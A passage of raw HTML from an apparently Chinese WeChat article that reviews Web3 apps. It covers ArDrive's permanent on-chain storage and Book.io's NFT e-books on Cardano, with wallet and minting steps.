src="https://wechat2rss.xlab.app/img-proxy/?k=b51a234c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7DMn3yRoOkT42Qk8zwUzGIo3l7czkiaH5b9Tw81CM1NQ7jvGXKG6dkFA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">你可以使用自己含有</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Ar</span></span> <span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">token</span><span style="color: rgb(84, 84, 84);font-size: 14px;">的钱包如</span><span style="color: rgb(84, 84, 84);font-size: 14px;">metamask</span><span style="color: rgb(84, 84, 84);font-size: 14px;">或者直接使用上文注册的</span><span style="color: rgb(84, 84, 84);font-size: 14px;">ArConnet</span><span style="color: rgb(84, 84, 84);font-size: 14px;">来登陆</span>。</span></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4067930489731438" data-s="300,640" style="" data-type="png" data-w="1266" src="https://wechat2rss.xlab.app/img-proxy/?k=348f9ffa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7vQwd1cLiaIId2q68k8UU8f573ZibiaSHy0M8J6J0OkicwjgYFiaFQYmwH7Q%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">需要特别注意的是，你上传的数据是永久存储在链上的，虽然你可以选择公开还是不公开，但是“黑历史”咱就不要上传了～</span> </span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3441199684293607" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=b51db865&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7icOZib7BLNF61R0jxk3w5Rmu5jO94pILz4AJL3MKMbYHicAq0twKy6HgA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">创建你的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ardrive</span>账户<o:p></o:p></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.526440410418311" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=820d0cc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7BBuuKrAv3EfbWX1h084Esbt2IsibcJIRbT4WmAmU6rlpJ8ibv4E1L6HQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"> </span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">到了这步你的网盘基本就创建成功了，创建新的网盘或者导入原有网盘</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.425296442687747" data-s="300,640" style="" data-type="png" data-w="1265" src="https://wechat2rss.xlab.app/img-proxy/?k=86e003c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7HIhq5nYeQADRlTicD0P8RL7pEemD4KjZbqs1ml2giawtTKpKO0mDCrrw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">笔者在试用</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ardrive</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">后发现在众多的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">应用中，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">对于用户而言是注册最为复杂的应用</span>。<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">横向比较</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的网盘，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">也算不上便利</span>。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">根本原因在于其绑定了</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Ar</span></span> <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Token</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的原因</span>。<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">就算不使用</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArConnect</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">来创建</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的支付渠道</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">使用者还是需要通过</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Dex</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">或</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Cex</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">来换取</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Ar</span></span> <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Token</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">来支付相关费用</span>。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">但不可否认的是</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">也具备传统网盘所不具备的优势</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">传统</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">网盘的中心化就注定其不可靠性与安全风险，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">同时</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的对外扩展性随着区块链技术的普及也是传统</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">网盘所无法比拟的。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">不过其“上链”不可撤销的特性与它的费用机制也让其不能作为一个临时存储的平台，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">对于用户来说</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">更适合用于保存那些需要永久保存但不那么隐私的资料</span>。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">对于开发者来说，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">这种不可撤销的特性以及</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">在</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">领域的扩展性可以在某些特定领域具备极大的领先优势，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">笔者认为在未来</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDirve</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">不能仅仅作为一个“网盘”而存在</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">它需要展现其对于</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">其他领域如</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Dapp</span>、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Defi</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">等的扩展性帮助</span>。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">而上述所提到的所有不便利性的根本原因在于项目方所绑定的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Ar</span></span> <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Token</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">一方面这提高了用户与开发者对</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">生态的参与门槛</span>，但另一方面这也是为了生态的良好发展。</span><o:p></o:p></span></section><h3 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Calibri;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><strong><br mpa-from-tpl="t"/></strong></span></h3><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: rgb(255, 255, 255);" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;letter-spacing: 3px;text-shadow: rgb(61, 41, 34) 1px 1px 0px, rgb(61, 41, 34) 1px 0px 0px, rgb(61, 41, 34) 0px 1px 0px, rgb(61, 41, 34) -1px -1px 0px, rgb(61, 41, 34) -1px 0px 0px, rgb(61, 41, 34) 0px -1px 0px, rgb(61, 41, 34) 1px -1px 0px;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">8.从Kindle Books到Book.io</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">从技术角度来看，迄今为止，任何从任何零售商那里</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">“</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">购买</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">”</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">电子书或有声书的人，实际上并没有真正买到数字书，没有实际的所有权。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这样光看字面理解起来可能有点困惑，你花二十块钱买到一本实体书后，你可以在二手交易平台上专卖。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">但是如果你花两块钱买了一本电子书，但这本电子书实际上是没办法再二次转售的，除了你自己反复看书，它的价值并没有更多了。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">随着区块链技术的发展，这个情况能够得到改变，创建独特的数字对象，</span>NFT<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">作为购买的收据，有一个可公开查看的图片的元链接，电子书成为了完全去中心化的，也是完全加密的、全部存储在区块链上的资产。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">由此实现了，真的能够拥有了这本电子书，电子书和有声读物可以从经济上可扩展的方式在市场上流转。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">Book.io<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">平台利用</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Proof-of-Stake</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">（</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">POS</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">）开源技术，使基于</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的电子书成为可能，在</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Cardano</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">平台上建立</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BOOK</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">代币的初始版本。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">Cardano<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">是领先的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Proof-of-Stake</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">区块链。</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Cardano</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">是第三代区块链。它的目的是解决应用的最关键障碍，即可扩展性。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">与其他区块链相比，</span>Cardano<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">具有更便宜的交易费用、更高可扩展性、以及更高的交易速度。它是由以太坊最初的联合创始人之一查尔斯</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">·</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">霍斯金森创立的，以有效地纠正所有已知的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">POW</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">限制。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">使用方式：</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">访问主域名：</span><span style="text-decoration: underline;font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><a href="https://book.io/" target="_blank">https://book.io/</a></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3185770750988142" data-s="300,640" style="" data-type="png" data-w="1265" src="https://wechat2rss.xlab.app/img-proxy/?k=9792f654&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7scXUrgqamK8l6Vumj7U4oUcdwz0eIP7ILbtBhVoyy3ErZosx6vImQg%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">根据你的角色选择服务，包含出版商、作者以及阅读用户，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">我们选择</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">eReader</span></span> <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">App</span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.13022888713496447" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=ef900233&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia766U2M4icsOyuxwWpqticjicOCicOcLrO2AJ3Cg9hJNm6lawcsvDpU36HxQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">连接自己的钱包并授权，也就进入了我们熟悉的“书架”。</span> </span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.13259668508287292" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=3eb9ea2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7Q7Dr7ZPywtQD57uMnQCPUzwDAY2rERmaQ9UxmJvlXtuguia3xJ72ZNQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">获取书籍的方式第一种是回到主页进入图书市场<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BookStore</span>，创建并登陆账号</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3851617995264404" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=b43ee0ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7QQdE6tmJ2iaGbsb4370nHfXIqKsQzfuiapNU5kY1P3RibaNfddPH2ibn7A%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">你需要</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">mint</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">你想要阅读的书籍</span>，</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">book</span>.io<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">会有一个简单的人机验证</span></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2519747235387046" data-s="300,640" style="" data-type="png" data-w="1266" src="https://wechat2rss.xlab.app/img-proxy/?k=23ec2026&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7Kd4lBnONJExxpKkg0Krm6HTWJxATg0mOtyVxxsW4yzhZhBQZZSZAeA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"> </span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">在支付费用后你会成功铸造这本书籍的</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">NFT</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">，也就是你购买了这个</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">NFT</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">的书籍内容。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">第二种方式是直接到</span><span style="color: rgb(84, 84, 84);font-size: 14px;">NFT</span><span style="color: rgb(84, 84, 84);font-size: 14px;">市场去购买他人</span><span style="color: rgb(84, 84, 84);font-size: 14px;">mint</span><span style="color: rgb(84, 84, 84);font-size: 14px;">的书籍</span><span style="color: rgb(84, 84, 84);font-size: 14px;">NFT</span>，</span><span style="color: rgb(84, 84, 84);font-size: 14px;">jpg</span>.store<span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">和</span><span style="color: rgb(84, 84, 84);font-size: 14px;">CNFT</span></span>.<span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">io</span><span style="color: rgb(84, 84, 84);font-size: 14px;">是</span><span style="color: rgb(84, 84, 84);font-size: 14px;">book</span></span>.io<span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">指定的</span><span style="color: rgb(84, 84, 84);font-size: 14px;">NFT</span><span style="color: rgb(84, 84, 84);font-size: 14px;">购买平台</span>。</span></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7569060773480663" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=81b3a7ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7sZeege92dXOb1GicZDlBkfCghuhIthdGhic2QLyBu82J5X8aNxE2Wb7g%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">选择</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">book</span></span>.io<span 